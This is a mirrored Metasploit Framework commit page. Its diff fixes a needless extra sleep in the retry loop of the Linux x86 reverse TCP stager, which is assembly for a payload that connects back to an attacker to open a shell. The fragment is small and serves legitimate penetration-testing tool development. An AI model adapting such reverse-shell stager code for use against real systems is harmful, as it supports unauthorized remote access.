mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
Land #8848, fix extra sleep on linux x86 stager
This commit is contained in:
commit
6afd90b7f0
@ -123,6 +123,8 @@ module Payload::Linux::ReverseTcp_x86
|
||||
jns mprotect
|
||||
|
||||
handle_failure:
|
||||
dec esi
|
||||
jz failed
|
||||
push 0xa2
|
||||
pop eax
|
||||
push 0x#{sleep_nanoseconds.to_s(16)}
|
||||
@ -131,9 +133,7 @@ module Payload::Linux::ReverseTcp_x86
|
||||
xor ecx, ecx
|
||||
int 0x80 ; sys_nanosleep
|
||||
test eax, eax
|
||||
js failed
|
||||
dec esi
|
||||
jnz create_socket
|
||||
jns create_socket
|
||||
jmp failed
|
||||
^
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user